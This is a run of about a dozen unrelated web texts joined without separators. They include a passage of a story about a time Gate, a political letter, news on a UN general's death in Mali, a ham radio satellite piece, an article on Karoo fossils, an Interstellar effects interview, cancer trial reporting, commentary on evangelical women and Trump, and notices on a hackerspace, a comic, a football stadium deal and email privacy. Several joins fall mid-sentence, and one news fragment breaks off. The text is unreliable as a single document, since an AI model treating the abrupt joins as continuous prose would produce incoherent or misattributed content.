And so Hassan returned home. With the gold he was able to purchase hemp in great quantity, and hire workmen and pay them a fair wage, and sell rope profitably to all who sought it. He married a beautiful and clever woman, at whose advice he began trading in other goods, until he was a wealthy and respected merchant. All the while he gave generously to the poor and lived as an upright man. In this way Hassan lived the happiest of lives until he was overtaken by death, breaker of ties and destroyer of delights.
"That is a remarkable story," I said. "For someone who is debating whether to make use of the Gate, there could hardly be a better inducement."
"You are wise to be skeptical," said Bashaarat. "Allah rewards those he wishes to reward and chastises those he wishes to chastise. The Gate does not change how he regards you."
I nodded, thinking I understood. "So even if you succeed in avoiding the misfortunes that your older self experienced, there is no assurance you will not encounter other misfortunes."
"No, forgive an old man for being unclear. Using the Gate is not like drawing lots, where the token you select varies with each turn. Rather, using the Gate is like taking a secret passageway in a palace, one that lets you enter a room more quickly than by walking down the hallway. The room remains the same, no matter which door you use to enter."
This surprised me. "The future is fixed, then? As unchangeable as the past?"
"It is said that repentance and atonement erase the past."
"I have heard that too, but I have not found it to be true."
"I am sorry to hear that," said Bashaarat. "All I can say is that the future is no different."
I thought on this for a while. "So if you learn that you are dead twenty years from now, there is nothing you can do to avoid your death?" He nodded. This seemed to me very disheartening, but then I wondered if it could not also provide a guarantee. I said, "Suppose you learn that you are alive twenty years from now. Then nothing could kill you in the next twenty years. You could then fight in battles without a care, because your survival is assured."
"That is possible," he said. "It is also possible that a man who would make use of such a guarantee would not find his older self alive when he first used the Gate."
"Ah," I said. "Is it then the case that only the prudent meet their older selves?"
"Let me tell you the story of another person who used the Gate, and you can decide for yourself if he was prudent or not." Bashaarat proceeded to tell me the story, and if it pleases Your Majesty, I will recount it here.
Page 1 • Page 2 • Page 3This letter is written in response to President Trump’s decision on Dec. 4 at the Utah Capitol.
This year, neoliberalism took your health care, taxed your grad students, is taking away equal access to the internet, furthered the destabilization of the climate, criminalized asylum seekers, promoted sexism, stole from the poor to give to the rich, and took away your public land. But hey, at least the CEO of EXXON got a huge tax break so that the money he makes off of Bears Ears and Grand Staircase-Escalate can go toward a few more vacation homes, or maybe a new boat he can cruise around in the ocean that is becoming more acidic due to deregulated markets.
Meanwhile, the additional $700 you receive from your tax refund can go towards the thousands dollars of medical bills that are no longer a social service. Why would something that should be a human right be free?
Meanwhile, the fossil fuel industry is buying up lands that produce our drinking water so that they can privatize and capitalize on that human right, too. But forget about the rights of any other species that also depends on the land.
This system is broken, it’s destroying the climate, it’s destroying the ocean, it’s destroying the land and it’s violating human rights across the globe.
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This neoliberal economic system that is built on constant growth and deregulation is literally destroying our world. Furthermore, it’s destroyed the American dream. Income inequality is at an all-time high, public lands are being sold off to corporations, and it is even causing a mass extinction.Top UN officer found dead
Bamako - The UN in Mali says the No 2 general in command of the current international support mission there has been found dead in his hotel room.
A statement released late on Saturday said that general Yaya Seyni Garba likely died from a heart attack.
Damian Cardon, a communications adviser for MINUSMA, said that the body of the army general from neighbouring Niger was found on Saturday morning.
Niger is one of the West African countries contributing forces to the French-led mission in northern Mali.
France launched its military operation in January in an effort to oust al-Qaeda-linked militants from power in northern Mali.
While the jihadists have fled the major towns, they continue to launch suicide bombings and other attacks in a show of force.Hume Center Director of Research Robert McGwier (right) and research associate Zachary Lefke are building radio antennas that will be used in the Virginia Tech Ground Station. Photo Credit: Virginia Tech
Conventional lines of communication can be impacted after a disaster. This we know. Phone lines can go down, cell service can be overrun with calls, texts, and emails and it can be difficult for survivors as well as first responders to get in touch. This isn’t a far-fetched scenario or intellectual exercise. It’s a reality we’ve seen happen over and over during disasters small and large.
Enter Amateur Radio—or what those involved in the hobby refer to as "ham radio."
Amateur radio enthusiasts—or “hams” as they’re often called—often step in during emergencies to help bridge communication gaps between first responders to keep people safe when smartphones, cell towers, and internet technologies we rely on every day go down. Volunteer hams also serve as a valuable source of information during the initial states of an emergency. Often, hams provide this public service in association with volunteer groups like Community Emergency Response Teams, who are always ready to spring into action quickly and effectively.1
We owe it to these volunteers to do everything we can to support their work to help communities bounce back when disaster strikes. That’s why we’ve partnered with the American Radio Relay League and researchers from Virginia Tech’s Ted and Karyn Hume Center for National Security and Technology in Blacksburg, Virginia—one of the leaders in amateur radio technology—to develop a new communications satellite that will help amateur radio operators transmit radio signals across the United States 24 hours a day, 365 days a year. After all, disasters can happen any place and any time.
With this new satellite, scheduled to launch in 2017, Hams involved in supporting disaster communications will have a more reliable connection and a new level of capability in their communications.2 Right now, radio signals used by amateurs must often be bounced off the ionosphere to accommodate communication over long distances. Unfortunately, this type of radio propagation isn’t reliable because signal reach and quality can be impacted or even halted by space weather events like solar flares and geomagnetic storms.2 This satellite is unique because it will provide another layer of support for emergency services by providing a dedicated communications hub for hams orbiting above the U.S. in geosynchronous orbit every day. It will help emergency managers deployed to disasters support long-term communications for first responders on the ground—and become another invaluable tool at their disposal.2
Amateur radio operators have come to the rescue on more than one occasion—like during Hurricane Sandy—when landlines and cell phones were left out of commission throughout New York and New Jersey.
Hams also made a difference in 2013, when Colorado was hit with historic flooding. As floodwaters ravaged areas across the state, they threatened a wastewater plant that served over 80,000 people. Volunteers from the Amateur Radio Emergency Service—the American Radio Relay League’s disaster communications arm—leapt into action, creating a network to monitor the situation and collect data. As a result, they were able to take remote control of the facility and helped prevent any wastewater from spilling out with the floods.3
This new partnership with hams will help make our communities more resilient, and we look forward to a successful launch.
Editor’s Note: Jessica Stapf contributed research to this post.
Sources:South Africa’s Karoo region has been in the headlines in recent years because of the prospect of a controversial fracking programme to exploit its potential shale gas resources. But, to palaeontologists, the Karoo Supergroup’s rocks hold the key to understanding the early evolutionary history of the major groups of land vertebrates – including tortoises, mammals and dinosaurs.
More than 200 million years ago, South Africa formed part of the southern hinterland of Pangaea, the great single supercontinent, which was inhabited by a diverse flora and fauna.
In only a few places, where conditions were conducive to their fossilisation, can palaeontologists catch a glimpse of these ancient ecosystems. The Karoo is one such place.
Why it’s such a special place
About 265 million years ago, the Beaufort Group of rocks within the Karoo sequence was beginning to be deposited by rivers draining into the shrinking inland Ecca Sea. As these rivers filled the basin with sediment they entombed the remains of land animals that lived around them. The youngest Beaufort rocks are around 240 million years old.
Today, more than 30,000 fossils of vertebrate animals from the Beaufort reside in museum collections across the world. The Beaufort was followed by the Molteno and Elliot formations. The Elliot formation is made up of a succession of red rocks that records some of the earliest dinosaur communities.
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The area plays a crucial role in revealing the distant origin of mammals, tortoises and dinosaurs. It also covers two great extinction events, the end-Permian (252 million years ago) and the end-Triassic (200 million years ago).
Because of its continuity of deposition, the Karoo provides not only a historical record of biological change over this period of Earth’s history, but also a means to test theories of evolutionary processes over long periods of time.
The 400,000 sq km area is internationally noted for its record of fossil therapsid “mammal-like” reptiles. These chart anatomical changes on the path to mammals from their early tetrapod forebears.
The Beaufort Group has also yielded the oldest recorded fossil ancestor of living turtles and tortoises – the small, lizard-like Eunotosaurus. The younger Elliot Formation preserves a record of early dinosaurs that could help palaeontologists understand the rise of the giant sauropod dinosaurs of the Jurassic Period.
Physiology and behaviour
Many studies are still being done on the identification of new species from the Karoo. But a lot of current research is also focused on the relationship between the extinct animals and their environments.
The story of the therapsid’s burrow is a good example of how insights are being gained on the behaviour of prehistoric animals. Roger Smith was the first palaeontologist to recognise therapsid vertebrate burrows in the Karoo. He described helical burrows, which he attributed to a small species of dicynodont (two-dog tooth) therapsid called Diictodon. In the fossil record, burrows are preserved not as hollows, but as the plug of sediment that filled them.
X-ray tomography at a facility in France was recently used to scan one of these burrows. This showed that it was home not only to its maker – the meerkat-sized therapsid Thrinaxodon – but also to the early amphibian Broomistega. Further research revealed that the Thrinaxodon was probably hibernating and this is the reason why it tolerated the intruding amphibian which was using the burrow to convalesce while suffering from broken ribs.
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Studying how fossil bones are preserved (taphonomy) can provide similarly rich insights. For example, it has been suggested that changes in preservation style between skeletons in the latest Permian Period (about 253 million years ago) to those in the earliest Triassic Period (about 252 million years ago) can be attributed to changes in climate. The region developed from being seasonally dry floodplains with high water tables to predominantly dry floodplains.
Because of the abundance of fossil tetrapods in the rocks of the Karoo Supergroup, they have been used to divide the rock succession into fossil zones, called biozones. This has enabled the biozones to be correlated with equivalent sequences elsewhere in the world and forms the basis of reconstructing global patterns of diversity.
Understanding the sequence of events is crucial for testing hypotheses of evolutionary processes. It is an area of research being pursued for both the Permian and Triassic periods.
The big wipe-outs
The end-Permian mass extinction, the greatest, was responsible for the elimination of 90% of species living in the sea and 70% of species living on land. Roger Smith’s work on Karoo fossil vertebrates shows this extinction to have lasted approximately 300,000 years, terminating at the Permian-Triassic boundary 252 million years ago. It was followed by a lesser extinction pulse approximately 160,000 years later in the Early Triassic.
Our current work is focusing on the more obscure Guadalupian extinction which occurred eight million to ten million years before the end-Permian. This is recognised from marine sequences. For the first, time empirical evidence for this event on land is being discovered from the Karoo fossil record.
What’s next?
These are exciting times for palaeontologists. Technological and scientific developments have opened up new vistas for their work.
A comprehensive database of all the Karoo fossil vertebrate collections in South Africa has been built. This is the first database of Permian-Jurassic continental vertebrates. It is available to scientists globally, an invaluable tool for biogeographic and biostratigraphic studies.
Better dating techniques are opening up the possibility of working out rates of evolution in fossil tetrapod lineages. High-resolution scanning techniques are also enabling palaeoscientists to explore areas which were previously inaccessible, or at least not without damaging the fossils.
There are a myriad questions that remain unanswered. Were the early mammal ancestors of the Karoo warm-blooded? What can the Karoo tell us about the reaction of terrestrial ecosystems to mass extinction events? How can the Karoo’s shifting ecological make-up shine a light on evolutionary tempo? These are questions we can now attempt to answer.
Bruce Rubidge is Director, Centre of Excellence in Palaeosciences at University of the Witwatersrand.
Mike Day is Postdoctoral Fellow, Evolutionary Studies Institute at University of the Witwatersrand.
This article was originally published on The Conversation.
Read the original article.The team behind the stunning visual effects in the 2014 film "Interstellar" worked with renowned astrophysicist Kip Thorne to get their science right.
LOS ANGELES — Paul Franklin and Kip Thorne worked hard to make science jump off the screen in the 2014 film "Interstellar."
As the movie's visual effects supervisor, Franklin oversaw the creation of the lavish and impressive visual effects of "Interstellar," which was released last month. Thorne is a top-drawer astrophysicist at Caltech, and an advisor to (and executive producer of) the movie.
The duo worked with a multitude of other dedicated folks to get the science and visual presentation of black holes, wormholes and other cosmic phenomena right — or as right as possible, given the narrative constraints of a sci-fi blockbuster. Franklin filled Space.com in on this complicated process. ['Interstellar': A Space Epic in Pictures]
Black holes and wormholes
When pre-production began for "Interstellar," director Chris Nolan told Franklin that he should meet as soon as possible with Kip Thorne.
"Kip was our scientific advisor and executive producer. I already knew about him because I am a big fan of those sorts of things, and he is one of the great astrophysicists of the modern era," Franklin told Space.com.
"Kip is a fantastic communicator, and he sat with me and went through space-time 101. He discussed what wormholes and black holes are, how gravity can warp space and affect time — things I had a bit of understanding about, but he really laid it out on the line for me," he added.
Thorne told Franklin that it would be nice if they could represent these cosmological wonders accurately, which Thorne said would be a first in a science fiction film.
Previous depictions "are fundamentally wrong," Franklin recalls Thorne explaining. "The whole concept of a black hole in space as a giant drain that everything is swirling around and going down into — a two-dimensional hole in space — that's not how it is. They are three-dimensional spheres, because they are holes in three-dimensional space,"
How to create such things accurately without taking too much artistic license was a concern for Franklin. But science came to the rescue once again. [Images: Black Holes of the Universe]
"Kip got us the three-dimensional mathematics behind these things, and we were able to turn this into software that could accurately calculate all the light-ray paths around these objects, to show how they distort space and create these vast gravitational lenses," Franklin said.
It was a remarkable advance in visual effects, he added, and it created images that not only wowed audiences globally, but were also the first true high-resolution moving views of such astronomical wonders.
"We found that the academic world never had pushed [the resolution] this high before, because they didn't need to," Franklin recalled. "It's a first."
Getting into space
But to explore these deep-space vistas would require getting the characters into space first. With the script set in a not-too-distant future, Franklin and his team would need to blend familiar technology (rockets) with futuristic ideas (high-tech shuttles).
As Franklin explained, "We wanted to ground the cinematography in the language of the Apollo and Gemini missions, a very reality-based look of space exploration. We could have done it digitally, which is very sophisticated these days, but people can still detect the difference between something that is physical and real and photographed, and something that has been digitally generated." [The Spaceships of 'Interstellar' Explained (Infographic)]
This explains two interesting choices in "Interstellar" — first, the launch vehicle for leaving Earth. Yes, that was a trusty Saturn V rocket you saw leaving the launch silo in the film. Franklin said that the retired Apollo moon rocket was chosen for its familiarity to the viewer — and for another reason: "We wanted an iconic image of that big rocket taking off, that cascade of frozen condensation falling away … by recreating those classic, well-known angles."
But there was more at work in the choice of a Saturn V as well, Franklin said.
"The idea I had was that this is the last gasp of the space program, the last best hope for us to go and find someplace else to live. So they are using whatever they have got to accomplish this," he said. "The implication is that the whole mission has been put together from what is available. So I had this backstory that the Saturn V that you see being launched has actually been taken from the museum in Florida. They refurbished it and launched it … I think that's entirely plausible. After all, the new SLS [NASA's Space Launch System megarocket] incorporates elements of Apollo technology. So I didn't think that was too far-fetched. And you'd need a big heavy-lift vehicle to get those two chunky Rangers up into space."
But if it took a reconditioned Saturn V to get away from Earth, how about those single-stage-to-orbit shuttles the film's pioneering astronauts (led by Cooper, a former farmer played by Matthew McConaughey) used to reach the exoplanets?
"The engines are imagined to be something plasma electric, a super-advanced version of the ion engines already being used in space exploration," Franklin said. "But of course, these [film engines] produce much, much higher levels of thrust than the ion engines of today. So the engine pods would have some kind of compact tokamak [nuclear] fusion generator for power, that sort of thing."
He also mentioned that the Saturn V was launching not only the mass of the Rangers, but also the mass of the supplies needed at the crew's mothership, Endurance. So the huge rocket had to lift much more mass than did the Ranger shuttles going to and from the exoplanets.
Playing with cool toys
Speaking of those future spacecraft, they were unique in another, more prosaic way. While the Saturn V launch was digitally created, most of the major effects in "Interstellar," including shots of the Ranger shuttles and Endurance, were not digital. For the first time in a long while, a major movie used miniatures — models — just like sci-fi classics did through the 1990s.
"We built very large sets and props for the spacecraft, which we used on location in Iceland," Franklin explained. "Then we brought those props back to Los Angeles and put them on a motion base and shot them on the stage."
The team decided to use models because they can look more realistic onscreen than digitally created spaceships, Franklin said.
"We went with miniatures because we were keen to get a sense of tactile reality," he said. "Also, by using cameras, you get the proper relationships between exposure, shadows [and] the way light moves across an object when shadows cross it … this results in an inherent reality, which we thought was very important."
But reality-based models also mean real stage sizes, and the "miniatures" in "Interstellar" were not exactly small. For example, the Endurance, the spinning ship that made the voyage through the wormhole and beyond, was one-fifteenth scale, or about 25 feet (7.6 meters) across. For comparison, the Enterprise 1701-A from several of the "Star Trek" films was considered large at about 8 feet (2.4 m) long.
To infinity … and beyond
But the use of real sets and miniatures didn't end there. When it came time for Cooper to enter the 5th-dimensional version of his daughter Murph's bedroom, things got really complex. [Warning: Spoilers ahead.]
Franklin admitted to early concerns about the "library" area, the 5th-dimensional gateway that Cooper explores to make contact with his daughter near the end of the film.
"The discussions about that area, which we called the tesseract, started right at the beginning of pre-production," he said. "This tesseract allows Cooper to see time as a physical dimension. All the timelines inside Murph's bedroom are presented as physical objects, which Cooper can interact with. He can navigate along the timeline." [The Science of 'Interstellar' Explained (Infographic)]
Franklin continued: "We spent a lot of time thinking about Einstein's theory of world lines. Each object in the universe is leaving a world line behind it — a trace of matter in space-time. So we wanted to make these things visible inside the tesseract. Cooper could interact with them … that is how he sent messages to Murph via the books falling off the shelf, or later on when he starts moving the hand on the watch."
After a lot of consideration, the effects team decided to stay old school. "We didn't use a single bit of green screen in that entire sequence!" Franklin said. In fact, he and his colleagues even used slit-scan photography, a technique made famous in Stanly Kubrick's "2001: A Space Odyssey."
"I started looking at slit-scan photography. It was part of the stargate sequence in 2001," Franklin said. With slit-scan, you allow the image to move past a slit-shaped shutter held open for longer-than-normal exposures.
"What you get," Franklin explained, "is a photograph that captures one point in space across many moments in time, as opposed to a regular photograph, which is one point in time across many points in space. This immediately spoke to the idea of an object standing still, leaving its trace through time."
The results are stunning, with smears of Murph's bedroom vibrating off into infinity in a complex, rectilinear form.
"The art department did a great job of turning this stuff that I thought would be impossible to build into an actual physical structure, something that you could see," Franklin added. "That set was about 60 feet [18.3 m] on each side, and maybe 40 feet [12.2 m] tall."
The final result, as millions are now aware, was an effects sequence that excelled not just visually but emotionally as well. And that's what everyone behind the production of the film was after.
When asked what allowed him to make visuals in this film that outdid so many other efforts, Franklin smiled and said, "I just work with very intelligent people who make me look smart."
Since that is a group that includes Kip Thorne, it makes sense to take Franklin at his word.
Follow us @Spacedotcom, Facebook or Google+. Originally published on Space.com.Drug combos could hold off advanced breast cancer, studies say
Combinations of drugs could impede advanced breast cancer tumors in different ways, two large studies suggest.
"These are two terrific, new options. They are laying out a map on the way forward for breast cancer," said Dr. José Baselga, a professor of medication at Harvard Medical School who was involved in both trials. "The way forward is by doing smart combination therapies."
The findings, reported Wednesday at the annual San Antonio Breast Cancer Symposium, point to a new paradigm in treating advanced breast cancer, a field that has not seen significant progress in recent years, cancer specialists said. The studies signal that advanced breast cancer may be best treated with a strategic combination of targeted medications that wage war on the cancer along several biological pathways.
In one study, researchers found patients fared better when a breast cancer drug called an aromatase inhibitor was combined with another medication, Afinitor, which is used to treat kidney cancer but is not yet approved for breast cancer. In the second study, two standard medications for women with a type of breast cancer known as HER2-positive were more effective when the investigational drug pertuzumab was added to the regimen.
Treatment for advanced breast cancer could improve significantly if doctors give women combinations of medications that attack tumors in different ways, two large clinical trials suggest.
The approach in many ways mimics that used in treating those who are infected by HIV: Just as treatment with multiple drugs cuts the chance that the virus can develop resistance, attacking the cancer cells on multiple fronts reduces the chance that the tumors can mutate to thwart the assault against them.
Scientists cautioned that the data so far show only that the patients survived longer before their tumor advanced in size. They have not shown that survival rates are lengthened as well.
But the two large trials are relevant to the lion's share of cases of advanced breast cancer as well as some of the most dangerous ones, Baselga said. About 60% of all cases of advanced breast cancer are of the hormone receptor-positive type, and HER-2 positive cases are among the more aggressive cancer.
Neither of the regimens in the studies represent a cure, but they could buy more time for patients who are running out of options, oncologists said.
The first study, known by the acronym BOLERO-2, included 724 postmenopausal patients who had received standard therapies but whose cancers had spread to other organs.
All of the patients had hormone receptor-positive breast cancers, which are treated with aromatase inhibitors to block the supply of estrogen their cancer cells need to grow. But the cancers often develop resistance to the aromatase inhibitors and can grow even without an estrogen supply. Afinitor blocks the cancer cells at a different biological point, preventing this estrogen-free growth.
In the study, patients receiving the aromatase inhibitor exemestane plus Afinitor had an average of 7.4 months of time during which their cancers did not grow compared with 3.2 months for the women receiving exemestane and a placebo.
"This dual blockage is a more complete blockage," said study coauthor Dr. Gabriel Hortobagyi, chairman of the department of breast medical oncology at the University of Texas M.D. Anderson Cancer Center in Houston. "This is the first time we've achieved this."
The study reflects continued progress against the disease, said Dr. Sara Hurvitz, director of the breast oncology program at the UCLA Jonsson Comprehensive Cancer Center, who was not involved in the study.
"This is important because we haven't seen a lot of dents in our ability to treat hormone-positive disease in the past five or 10 years," she said.“The Americans are not going to be here forever,” Taliban militants told Faizi while he was on assignment in a Kandahar prison. “Now we know your face.” They |
printed Bible studies are perennial bestsellers—is more likely to be found helping women understand the life of the Apostle Paul or tweeting about her husband, new granddaughter and two adorable dogs.
But something changed for Moore after Donald Trump, the Republican nominee for president of the United States, was caught on tape bragging about his ability to sexual assault women. When Trump said, “When you’re a star, they let you do it. You can do anything. Grab them by the pussy. You can do anything,” Moore had had enough.
“I’m one among many women sexually abused, misused, stared down, heckled, talked naughty to. Like we liked it. We didn’t. We’re tired of it,” Moore said. She also had a word about evangelical leaders still supporting Trump: “Try to absorb how acceptable the disesteem and objectifying of women has been when some Christian leaders don’t think it’s that big a deal.”
Moore’s broken silence about the 2016 race—rooted in her own experience with sexual assault—signals a widening gender divide between evangelicals. Increasingly, moderate and conservative Christian women are speaking out about Trump’s brand of misogyny and divisiveness, and condemning support for the nominee or silence about him from male evangelicals.
“When Christian women like Beth Moore choose to publicly speak about their own experience with sexual assault, it signals to me that they do not feel heard or understood by fellow Christian leaders who continue to support Trump,” Katelyn Beaty told me. Beaty, until recently the print managing editor of Christianity Today, the country’s largest evangelical Christian publication, is the author of A Woman’s Place: A Christian Vision for Your Calling in the Office, the Home, and the World. “Moore and others are saying to their fellow leaders, the one-in-six statistic”—of women who have experienced sexual assault—“includes me. When will you believe me and stand up for me?”
Beth Moore wasn’t alone in her condemnation of Trump. Her comments sent ripples around the evangelical world and were seconded by Christian mega-speaker and author Christine Caine. Sara Groves, the Dove Award-nominated Christian artist, told me, “Someone like Beth can go a long way in helping Evangelicals recognize these major blind spots.”
Groves herself was impacted by Trump’s remarks. “When I first heard the tape, I was shocked, and a bit surprised at how deeply it hit me,” she said. “I immediately thought of my own experiences, and of friends who have experienced much worse.”
Dr. Russell Moore—head of the Southern Baptist Convention’s Ethics and Religious Liberty Commission and a leading conservative Christian voice against Trump—says he is hearing privately from women like Groves and Moore all the time.
“I have heard from many, many evangelical women who are horrified by Christian leaders ignoring this as an issue,” Moore told me. He says these women leaders have “spent their entire life teaching girls to find their identity in Christ and not in an American culture that sexualizes and objectifies them”—and they are now disgusted that evangelical men are not standing up and speaking out. Nish Weiseth, popular Christian blogger and author said that when it comes to Christian men still supporting Trump, “Disappointed seems like too soft a word. It’s devastating.”
These women see Trump’s comments not just as a gender issue but also a theological one; as Rev. Lisa Sharon Harper, Chief Church Engagement Officer for Sojourners, shared with me, “Trump’s offense is not only against a gender. His assaults on women are direct assaults against the image of God on earth.” Dr. Barbara Williams-Skinner, the pro-life African American Christian leader, brought it back to scripture as well, noting that evangelical leaders are failing to “stand up, as Jesus did, against every form of racism and bigotry on open display almost daily by Donald Trump.”
Despite their disappointment, women Christian leaders see some light at the end of the tunnel, and they hope that this election will finally separate evangelicals who misuse faith for partisan ends from those seeking to advance the cause of Christ. As Katelyn Beaty said, “my hope is that more Christian men will stand up for their friends, wives, daughters, coworkers, and siblings in Christ and refuse to align themselves with a leader who is and will continue to be bad news for half the human population.”
“There are those that are digging in and holding on to some strange mashup of politics and faith,” Groves adds, “but I also see a great number who are starting to see the difference between the body politic, and the body of Christ.”Farset Labs has accomplished a lot in the past 5 years, stimulated by the goodwill of the STEAM community, and underpinned by the direct financial support of the membership.
However, like many others in the community and voluntary sector, we face continually rising overheads despite efficiently delivering our charitable aims. As such, we’re exploring a new revenue stream: in-space advertising.
Next month, we will be putting up four A3 poster panels in the co-working space and workshop on a three-month trial basis, available on rolling monthly hire by outside organisations and companies.
These poster locations will be allocated on a first-come-first-serve basis at the discretion of the Farset Labs management team, and posters must be provided by the advertiser.
These are currently priced as follows:
Community/charitable/non-profit groups advertising events, programmes & opportunities: £150pm
Direct advertisement of goods, services & jobs: £300pm
Indirect promotion of recruitment services & non-specific roles: £600pm
If you’d be interested in participating in this trial, contact us on info@farsetlabs.org.uk.
At the end of this three month period, the results and impact will be assessed openly in the community along with trial participants, and any modifications deemed necessary will be made before restarting the programme. Trial participants will have early-access into the continued programme.
This new revenue stream will give Farset Labs a more stable platform from which we can cover our increasing operational costs and focus on reinvesting in our services and facilities. We want to achieve this without having to put any more financial pressure on the members of our community who need access to these resources the most.
Farset Labs has been a fully membership-funded community space, delivering volunteer-driven outreach, education, and facilitation to the STEAM community; from programming & engineering courses at local primary and secondary schools, to taking part in national and global collaborative events such as Global Game Jam and BBC’s Make It Digital campaigns.
Beyond this, we have been a melting pot for meetups and user-groups, with our free use of our event space on Wednesday evenings for qualifying non-profit groups and individuals, where organisers can test the viability of their event ideas, developing communities that can (and usually do) rapidly grow to join the major meetup circuit beyond Farset Labs.
Given the nature of the community fostered under our roof, Farset Labs has also hosted and spun-through a number of successful member-run startups, giving entrepreneurs the freedom to explore, collaborate, and experiment without losing equity or requiring significant upfront costs (Desk rental starts at £100 per month, but hot desking is included at all membership levels).
All of this while operating on what can only be described as a “lean” budget. With no staff, no salaries, and no institutional funding, we have kept our significant outgoings limited to rent, power, heating (most of the time), cleaning and refuse collection, and insurance/accounting/legal fees.
If you, your company or your organisation wish to support the work of Farset Labs, or are interested in engaging with this unique community, get in touch via email to info@farsetlabs.org.uk, or tweet us at @FarsetLabs.In real life this conversation with Leia Weathington (author of queer sword-and-sorcery comic Bold Riley) took place over text message, so when it came time to writing this comic all I had to do was scroll back and copy her actual responses to me. Thanks for making my job easy, technology!
Matthew and I absolutely love pornography, so when [Porn Studio] Development guy shot us a friendly email wondering if I might consider applying to [LINK REDACTED] ‘Do a Scene with [Performer]’ and write a comic about it, it really started a turmoil of thoughts. We would both LOVE for me to do it, but dang, the hypothetical negatives are just a bit more than I want to take on in my life right now. Everybody who does perform in pornography: you are heroes.
[LINK REDACTED] (See edits below)
To be completely clear: I am definitely not trying to influence anyone else’s mindset about making the decision to perform in porn. This is 100% my personal worries, transcribed from an actual conversation I had with a real life friend. Who knows how many of those fears really would come true? Maybe none! This story is about the things that I worry about, my life, and my personal reasoning for not having taken the plunge on doing a public dirty video like I’ve secretly wanted to for the last decade. I’m sad I let my fears hold me back and my hat is off to all of you folks who do go for it. I started this comic long before I had the chance to start reading Coming Out Like a Porn Star and it’s been really interesting to put some of my worries into perspective with other people’s real life experiences. Not done with it yet, but I totally encourage everyone to pick up a copy!
EDIT December 2, 2015: This comic has now been edited to remove reference to James Deen.
EDIT November 28, 2015: This comic was made before today’s horrible revelations regarding this performer came out. Matthew and I can no longer endorse his site. We are leaving this page intact while removing our affiliate links to his site. If reading this comic made you want to sign up, we encourage you to research today’s news and consider signing up for another site, maybe Lust Cinema instead. Thank you for your understanding in this complicated situation.Rams clinch £7 Million deal with new global sports drink company.
Derby County have today revealed that iPro are to be the club's first-ever stadium naming rights partner.
The new global sports drink company have entered into a 10 year agreement worth £7 million with the Rams, which will next month see Pride Park Stadium renamed as the iPro Stadium.
The deal itself is believed to be one of the biggest independent deals by a club in Football League history.
Derby will play their first game at the newly-named iPro Stadium when they take on Blackpool in the Sky Bet Championship live on Sky Sports TV on Saturday 7th December 2013.
The Club had been in lengthy discussions with a number of interested parties throughout the year and an agreement has been reached to benefit both parties in the long term.
With the Financial Fair Play rules due be introduced into the Sky Bet Championship this season, the Rams have opted to explore new and ground-breaking commercial opportunities with a view to increasing turnover.
iPro Sport is the new name in global sports brands and is the result of seven years’ development in the world of sport, leisure, health and fitness and designed for sports of all levels and active people of all ages and abilities.
The UK sports and energy drinks industry itself is worth in excess of £2 Billion and stepping into the market, iPro Sport is an exciting, fresh, vibrant brand with iPro Sport Isotonic that is already being used by Derby County’s first-team squad.
The international partnerships and the organisations that they support are wholly driven by iPro’s corporate ethos, which is the foundation of the “iPro” name. Consequently, everything that they do is based upon “Integrity” and “Professionalism” - hence “iPro”.
Rather than relying on sugar to give a temporary energy boost, iPro Sport opts for a combination of complex carbohydrates, vitamins and minerals, alongside a balance of hydration and energy. With the exclusion of artificial colours or flavours, iPro Sport is the healthy evolution of what the body needs from a sports drink.
Derby County’s President & Chief Executive, Sam Rush, said: “To ensure that Derby County remains as competitive as possible we need to explore all forms of revenue generation.
“Stadium Naming Rights is a key asset for the Club and we are delighted that we have been able to reach an agreement with iPro.
“iPro is a challenger brand that is looking to gain significant market share and we believe that the partnership works well for both parties.
“This agreement, which we believe to be ground-breaking, is the culmination of a huge amount of work from all parties.
“I am proud of the hard work that has resulted in a successful outcome and great thanks should go to the club’s Commercial Department and in particular our Commercial Manager Ashley Peden, who should take huge credit for his efforts.”
John Vicars, Chief Operating Officer at Derby County said: “As a Club we started to seriously look at identifying a naming rights partner back in January and gave ourselves a year to find the right brand with whom to partner.
“I am naturally delighted that thanks to the ability of our commercial team we were able to achieve our goal within that time frame. There is clearly a need for a low sugar sports drink within the sports and leisure market and I am more than confident that iPro will fill that gap."
Cliff Bogle, Managing Director of iPro Sport Group, said: “All of us at iPro are delighted to embark on this partnership. As we enter into an exciting new era in global sport, it was important that an endeavour of the scale of stadium naming rights was undertaken with the right club.
“The ethos of Derby County Football Club and the alliance of the club’s ownership group represent a perfect platform for iPro’s penetration into the global sports market, and an opportunity to expand the club’s global brand.
“We look forward to further enhancing the strong relationships that have been forged in order to achieve this ground-breaking announcement.
“All parties have worked tirelessly and closely to ensure that we build the foundations of a long-term partnership, that achieves the global objectives of both the brand and the football club.”
For more information on iPro – please visit: iprosport.com.
Derby County will stage a Press Conference at 9:30am on Thursday morning to formally announce the naming rights agreement – with President & Chief Executive Sam Rush and Cliff Bogle, Managing Director of iPro Sport Group, to answer questions from the media.When Jill Kelley sought help from the FBI in the fall after receiving harassing e-mails, she had no idea that her trust in law enforcement would ultimately end in a loss of faith.
In November, Kelley and her husband, Scott, woke up to find themselves at the heart of a scandal that would ultimately lead to the resignation of CIA Director David Petraeus because of an extramarital affair with his biographer, Paula Broadwell, and engulf another high-ranking military official, U.S. Marine Gen. John Allen, in allegations of “inappropriate communications” with Mrs. Kelley. (Last night, the Pentagon’s Inspector General cleared Gen. Allen of all wrongdoing).
Beyond all the salacious details, which do not need to be rehashed here, lies the terrifying realization of our digital age: your personal information isn’t safe, even when it should be. “[T]he reality is that we sought protection, not attention, and received the inverse,” the Kelleys wrote in an op-ed yesterday for The Washington Post. The authorities they trusted turned their lives “upside down,” by leaking their names and the existence of electronic correspondence between Mrs. Kelley and Gen. Allen. Instantly, Kelley was called an adulteress. Reporters invaded the couple’s Tampa Bay property. Jill and Scott’s faces were permanent fixtures on cable news. Their privacy was destroyed.
The Kelleys' ordeal, however, has made them particularly sensitive to a fight the ACLU has been helping to wage for years: erecting new protections for American’s electronic communications. That fight, as the Kelleys explain, aims at modernizing the Electronic Communications Privacy Act (ECPA). Enacted in 1986, when cellphones were the size of your head, the law has not kept pace with technology and allows the feds to access citizens’ electronic communications under a far lower standard than physical mail, which requires a warrant.
In November, the Senate Judiciary Committee passed the Leahy Bill, which would have required the government to get a judicial warrant before accessing Americans’ private electronic communications. Unfortunately, the 112th Congress ended before it could move through both chambers. The ACLU will push for the reintroduction of the Leahy Bill and pressure the 113th Congress and the President to extend the same constitutional protections for American’s postal mail to their e-mail.
Privacy can sometimes seem like an abstract concept, but it’s essential, as the Kelleys now well know.
